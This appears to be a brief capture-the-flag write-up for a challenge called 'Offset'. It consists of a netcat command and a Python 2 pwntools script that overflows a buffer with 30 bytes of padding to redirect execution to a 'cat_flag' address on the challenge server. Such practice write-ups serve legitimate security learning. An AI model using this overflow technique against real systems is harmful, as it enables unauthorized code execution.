Offset

Offset

nc ctf.j0n9hyun.xyz 9273

from pwn import *

p = p = remote("ctf.j0n9hyun.xyz", 9273)

cat_flag = 0x6d8
print p.recv(2048)

payload = ""
payload += "A" * 30
payload += p32(cat_flag)

p.sendline(payload)
print p.recv(2048)

p.interactive()

​